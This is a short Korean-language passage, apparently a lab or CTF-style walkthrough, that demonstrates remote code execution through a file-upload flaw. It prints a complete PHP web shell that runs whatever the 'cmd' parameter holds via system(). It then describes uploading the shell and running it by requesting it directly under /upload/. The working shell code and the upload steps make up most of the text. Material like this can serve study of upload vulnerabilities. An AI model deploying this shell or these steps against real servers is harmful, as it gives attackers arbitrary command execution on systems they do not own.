php의 웹셸 코드는 아래와 같습니다.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
이 코드를 보면 cmd 파라미터를 통해 온 값을 system 함수를 통해 실행시킵니다.
해당 php 파일을 웹 서버에 접속하여 브라우저에서 실행할 수 있다면 웹 서버에 Remote code execution 이 가능합니다.
우선 위 코드를 webshell.php 로 저장하고, 웹 서버에 업로드 해보겠습니다.
정상적으로 업로드가 되었습니다.
해당 파일에 download 엔드포인트를 통해 접근하게 되면 그냥 파일이 다운받아지게 됩니다.
그럼 주소/upload.php
혹은 주소/download.php
로 php 파일을 실행시킨 것 처럼 주소/upload/webshell.php
이런식으로 하면 어떨까요?
webshell.php 가 정상적으로 실행이 됩니다.
webshell 의 기능도 정상적으로 동작합니다.